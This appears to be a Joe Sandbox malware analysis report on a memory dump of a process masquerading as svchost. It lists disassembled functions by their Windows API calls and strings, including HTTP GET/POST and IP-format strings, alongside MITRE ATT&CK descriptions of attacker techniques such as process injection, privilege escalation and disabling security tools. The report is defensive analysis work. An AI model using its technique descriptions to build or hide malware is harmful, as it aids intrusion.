Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ParentTextWindowmemset
String ID:
API String ID: 4175915554-0
Opcode ID: b74dd45d2e0e6feeb0b3e40701464a5f39917aee69e9e432651cfb3d86be10e1
Instruction ID: 1c6e0f74244909d4871718247bf6364bebca429c8ae02ae73b286adc8dbb48c1
Opcode Fuzzy Hash: b74dd45d2e0e6feeb0b3e40701464a5f39917aee69e9e432651cfb3d86be10e1
Instruction Fuzzy Hash: DA01D673F402146BDB10AE69ACC8EE7F39CAB54554F048376ED0CE3141EAB1DA5586E0

Function 02C87A10 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,?), ref: 02C87A23

Part of subcall function 02C82CE0: GetProcessHeap.KERNEL32(00000008,02C7FB17,02C7FB03,?,02C87515,?,?,?), ref: 02C82CF1
Part of subcall function 02C82CE0: HeapAlloc.KERNEL32(00000000,?,?,?), ref: 02C82CF8
Part of subcall function 02C82CE0: memset.MSVCRT ref: 02C82D08

memcpy.MSVCRT(00000000,?,?,?,?,?,?,02C7E885,?), ref: 02C87A3E

Part of subcall function 02C8CBC0: memset.MSVCRT ref: 02C8CBE1
Part of subcall function 02C8CBC0: StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 02C8CC19
Part of subcall function 02C8CBC0: PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8CC4D
Part of subcall function 02C8CBC0: PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8CC83
Part of subcall function 02C8CBC0: PathFileExistsA.SHLWAPI(00000000,7F1BFC0D), ref: 02C8CCC9

Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B23
Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B36
Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B49
Part of subcall function 02C92AE0: PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92B77
Part of subcall function 02C92AE0: PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92BAD
Part of subcall function 02C92AE0: CreateDirectoryA.KERNEL32(?,00000000,02CCAFC0), ref: 02C92BC2
Part of subcall function 02C92AE0: GetLastError.KERNEL32 ref: 02C92BCC
Part of subcall function 02C92AE0: IsUserAnAdmin.SHELL32 ref: 02C92BD4
Part of subcall function 02C92AE0: PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92BE5
Part of subcall function 02C92AE0: SetLastError.KERNEL32(00000000), ref: 02C92BEC
Part of subcall function 02C92AE0: SetCurrentDirectoryA.KERNEL32(?), ref: 02C92BF9

Strings

POST, xrefs: 02C87A61
GET , xrefs: 02C87A5A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$Backslash$strstr$DirectoryErrorHeapLastmemset$AdminAllocCreateCurrentExistsFileFolderMakeProcessReadSystemUsermemcpy
String ID: GET $POST
API String ID: 633840608-2494278042
Opcode ID: b333c78d3a20b6ffcc49741ddd97b3878b23029b73683a5636a6cd11ab24f6df
Instruction ID: 454c8b4f1ef71aedd1db641b8b7ff59109e943cb5a645da23fe2aedae5e37bcd
Opcode Fuzzy Hash: b333c78d3a20b6ffcc49741ddd97b3878b23029b73683a5636a6cd11ab24f6df
Instruction Fuzzy Hash: 9EF0283688169136993175A49C84EFFE68D9E93B8CB20A11AE84462100FB39EB0495E6

Function 02C74000 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000020,7622F380,-00000010,?,02C7429D,?), ref: 02C7400C
HeapAlloc.KERNEL32(00000000,?,02C7429D,?), ref: 02C74013
_snprintf.MSVCRT ref: 02C74052

Strings

%d.%d.%d.%d, xrefs: 02C7404A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess_snprintf
String ID: %d.%d.%d.%d
API String ID: 1060465051-3491811756
Opcode ID: 90f3bffe25918d38bde9a53b8fcd34ac64d1cc177bba7861125c9af0dd738d5d
Instruction ID: b501dc9029d853eb5de918cf6f5f699e1cdf3f06e2e433a3f3b2e217bf1b4a7d
Opcode Fuzzy Hash: 90f3bffe25918d38bde9a53b8fcd34ac64d1cc177bba7861125c9af0dd738d5d
Instruction Fuzzy Hash: 55F08CB1940760AFC371CF6A9804B66BBE8EF0C701F00892EF69AC7241E23496008BA4

Function 02C891C0 Relevance: 6.0, APIs: 4, Instructions: 37synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000,75AF7390,?,?,02C85BC4), ref: 02C891DA
CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C891F4
GetHandleInformation.KERNEL32(00000000,?,?,?,02C85BC4), ref: 02C8920C
CloseHandle.KERNEL32(00000000,?,?,02C85BC4), ref: 02C8921D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CreateHandle$CloseInformationMutexThread
String ID:
API String ID: 3835061634-0
Opcode ID: 09be646a70fb30ee82f280bf00f80ed7ea9f50fea8c1221e81edf7dc80c5b21b
Instruction ID: 4e8631e050a50982036c6b7776b7dda47c50071a89984e1eb5ade44873145600
Opcode Fuzzy Hash: 09be646a70fb30ee82f280bf00f80ed7ea9f50fea8c1221e81edf7dc80c5b21b
Instruction Fuzzy Hash: E8F0BB31EC1314B7E7119BA4FC0AB667A9CEB05F14F184695F901E72C0D7B095108796

Function 02C8A2A0 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000,00000000,?,?,02C876BE,00000000,02C7FB03,7f1bfc59,?,?,?,?,?,?), ref: 02C8A2B0
CreateThread.KERNEL32(00000000,00000000,02C8A150,00000000,00000000,00000000), ref: 02C8A2C5
GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C876BE,00000000,02C7FB03), ref: 02C8A2E3
CloseHandle.KERNEL32(00000000,?,?,02C876BE,00000000,02C7FB03), ref: 02C8A2F4

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleThread$CloseCreateInformationTerminate
String ID:
API String ID: 1825730051-0
Opcode ID: e7951d6158d0f023cb3298f9ca6ecdf0ccdd31ecffba0421fa871bdc5e41cfdb
Instruction ID: 7759032f49a377ce48a3e10749932e5de361918053dd698e3838140c36dd71ea
Opcode Fuzzy Hash: e7951d6158d0f023cb3298f9ca6ecdf0ccdd31ecffba0421fa871bdc5e41cfdb
Instruction Fuzzy Hash: 02F0B430EC0345BBE730EB65AC0AB5577ACAB0CB09F208686F909E31C0DBB096108A65

Function 02C8E830 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000,00000000,?,?,02C8790E,00000000,02C7FB03,7f1bfde3,?,?,?,?,?,?), ref: 02C8E840
CreateThread.KERNEL32(00000000,00000000,02C8E6E0,00000000,00000000,00000000), ref: 02C8E855
GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C8790E,00000000,02C7FB03), ref: 02C8E873
CloseHandle.KERNEL32(00000000,?,?,02C8790E,00000000,02C7FB03), ref: 02C8E884

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleThread$CloseCreateInformationTerminate
String ID:
API String ID: 1825730051-0
Opcode ID: 8ca719e807d88b0a1ccc0abb404333eca5f52df640138c7b2b3827763e3e069d
Instruction ID: d615bfe10b210424d3e604edf11a4273885034ed02a1762a4227eef9c07d4bed
Opcode Fuzzy Hash: 8ca719e807d88b0a1ccc0abb404333eca5f52df640138c7b2b3827763e3e069d
Instruction Fuzzy Hash: 4EF0B430EC0314BBE7209B68AC0AB5D779CEF04749F244694FD05E31C0DBB0D6108A64

Function 02C8D930 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000,00000000,?,?,02C8785E,00000000,02C7FB03,7f1bfd65,?,?,?,?,?,?), ref: 02C8D940
CreateThread.KERNEL32(00000000,00000000,02C8D7E0,00000000,00000000,00000000), ref: 02C8D955
GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C8785E,00000000,02C7FB03), ref: 02C8D973
CloseHandle.KERNEL32(00000000,?,?,02C8785E,00000000,02C7FB03), ref: 02C8D984

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleThread$CloseCreateInformationTerminate
String ID:
API String ID: 1825730051-0
Opcode ID: d5bc30f6507bf9191a570039fe9a7bc5770d9045f46682a713c508e82709490d
Instruction ID: 2f326863c8cd02590b19e2f8b904345b89ea7561fb1a108660138517cc8e40b9
Opcode Fuzzy Hash: d5bc30f6507bf9191a570039fe9a7bc5770d9045f46682a713c508e82709490d
Instruction Fuzzy Hash: FEF0B470EC0304B7E7209B75AD0AF55B69C9B04B59F144694F90AE31C4DBB09610CB64

Function 02C8E250 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

public, xrefs: 02C8E352
private, xrefs: 02C8E2B0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID: private$public
API String ID: 0-4176808989
Opcode ID: 95edc4579f270cfbb72ce7a2e89be70b5a00897b7fb9d6ab8d0e8bae2bfc8fae
Instruction ID: ec1e89868abdafde7671aa854f668a39e363cdb733b1ccd60b70895c1776268f
Opcode Fuzzy Hash: 95edc4579f270cfbb72ce7a2e89be70b5a00897b7fb9d6ab8d0e8bae2bfc8fae
Instruction Fuzzy Hash: FB415B326041158ACB30BB2CC8557BB7366EFC532CB49C695F84ACB6A4F721EE45C780

Function 02C74070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02C74072
_snprintf.MSVCRT ref: 02C740D6

Strings

%dd %dh %dm, xrefs: 02C740C7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick_snprintf
String ID: %dd %dh %dm
API String ID: 3495410349-3074259717
Opcode ID: 0640c349b482966ac159f99e89a9e93f9b7a32822f268aa3d3c49e345b37afc3
Instruction ID: 40d2b3104a05a57f35212cc7c0754e7d4fd353f4d78f6662d977a8fa07f0f0fe
Opcode Fuzzy Hash: 0640c349b482966ac159f99e89a9e93f9b7a32822f268aa3d3c49e345b37afc3
Instruction Fuzzy Hash: 02F08262B8105457A35C541D6C1AABA594F87C8311B8DC67DFD0ACF3E9DCB49C514290

Function 02C7A820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A834
ReleaseMutex.KERNEL32(00000000), ref: 02C7A850

Strings

P0#v, xrefs: 02C7A850

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: MutexObjectReleaseSingleWait
String ID: P0#v
API String ID: 2017088797-3387790918
Opcode ID: 481158786ac46d56176740526b23a3a8955e17810fc96629d63a91feb70789d4
Instruction ID: 957f9616aee886f5acf473ca777cac56d7ab32bc140f39379ed3d1ad4d576afd
Opcode Fuzzy Hash: 481158786ac46d56176740526b23a3a8955e17810fc96629d63a91feb70789d4
Instruction Fuzzy Hash: 50E01275D846489FC706DF58F448B197BA8B758321F008B56F868873A1C774A960CB50

Function 02CA6EF0 Relevance: 5.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000000,?,?,00000008,00000000,?), ref: 02CA6F28
memcpy.MSVCRT(?,?,?,?,?,?,00000008,00000000,?), ref: 02CA6FCB
memset.MSVCRT ref: 02CA7044
memset.MSVCRT ref: 02CA707D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 5a99cf2c19caa97d2b88e01849c5dc47cdf9900b7fa518adc4f37197e6ee117c
Instruction ID: fcec472d8811079ba1f776a678c5332af73bd4d2dcd02613962e01a052ad3254
Opcode Fuzzy Hash: 5a99cf2c19caa97d2b88e01849c5dc47cdf9900b7fa518adc4f37197e6ee117c
Instruction Fuzzy Hash: 4F516576A00B028FC714CF69C9D566AF7F6FF84308B28492DD98687A10E772F954CB80

Function 02C7DA00 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000014,00000000,?,?,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer), ref: 02C7DA3F
HeapAlloc.KERNEL32(00000000,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer,?), ref: 02C7DA46
memset.MSVCRT ref: 02C7DA56
memcpy.MSVCRT(00000000,?,00000000,00000000,00000000,00000014,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000), ref: 02C7DA61

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcessmemcpymemset
String ID:
API String ID: 471586229-0
Opcode ID: e92818099e0351410444197cd07c409c11ba63b2a236b4055ff852c97ff7d887
Instruction ID: 5eb95878f65c72346972bc3317d04c08cfa5de28d9cf7efa16dcff17412b4f01
Opcode Fuzzy Hash: e92818099e0351410444197cd07c409c11ba63b2a236b4055ff852c97ff7d887
Instruction Fuzzy Hash: 9901F233A852156B86219A69AC44FE7B79CFFC5770F008251FD06DF184D721EA0483E0

Function 02C7E290 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,?,?,00000000,?,02C7E94B,?,?,?), ref: 02C7E2A8
HeapAlloc.KERNEL32(00000000,?,02C7E94B,?,?,?), ref: 02C7E2AF
memset.MSVCRT ref: 02C7E2BF
memcpy.MSVCRT(00000000,?,?,00000000,00000000,?,?,02C7E94B,?,?,?), ref: 02C7E2CA

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcessmemcpymemset
String ID:
API String ID: 471586229-0
Opcode ID: d8de82c6c68c7a200bdb47a3d304783443ba7fb4700a11398772ab85a75e0eb4
Instruction ID: b62f0556ec8815c3ad3f713ae6f7287db69877e0de0a2f1143eff459f65c52f3
Opcode Fuzzy Hash: d8de82c6c68c7a200bdb47a3d304783443ba7fb4700a11398772ab85a75e0eb4
Instruction Fuzzy Hash: D5F05533A0166137C6226A99AC44FCBB75CEFD2760F400260FE00EF280CA20DE0087F1

Function 02C7D390 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,7622F380,?,02C7D799,00000000,?,00000000,02C7EAE2), ref: 02C7D3A4
HeapValidate.KERNEL32(00000000), ref: 02C7D3A7
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D3B4
HeapFree.KERNEL32(00000000), ref: 02C7D3B7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate
String ID:
API String ID: 1670920773-0
Opcode ID: 121c50ac3785073cf1e822029238d3db2390aeb27431e563befb30a8878f4b53
Instruction ID: b848486a1f158c6433e21d6dcf7b06956120b6300da42dc684efe6e88b722ed3
Opcode Fuzzy Hash: 121c50ac3785073cf1e822029238d3db2390aeb27431e563befb30a8878f4b53
Instruction Fuzzy Hash: E1F06D74E40362ABEB105F39AC48B977BECAF48686F940481E90ED3140E775C910AAA0

Function 02CB1BF0 Relevance: 5.0, APIs: 4, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 02CB1C05
HeapValidate.KERNEL32(00000000), ref: 02CB1C08
GetProcessHeap.KERNEL32(00000000,?), ref: 02CB1C15
HeapFree.KERNEL32(00000000), ref: 02CB1C18

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate
String ID:
API String ID: 1670920773-0
Opcode ID: f4fb82d938ff516ed9fc9f7cc597840f4ed41ce2ee13c1e50acb16e997651bc0
Instruction ID: 9aba192d21fd338b10a677a2566ba91084e4345642c3fd3c61d2f9676863cdc5
Opcode Fuzzy Hash: f4fb82d938ff516ed9fc9f7cc597840f4ed41ce2ee13c1e50acb16e997651bc0
Instruction Fuzzy Hash: 2BE08632FC526877C51226A66C0CF877B1CDFC1B72F094411F608D3141C660941096F0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
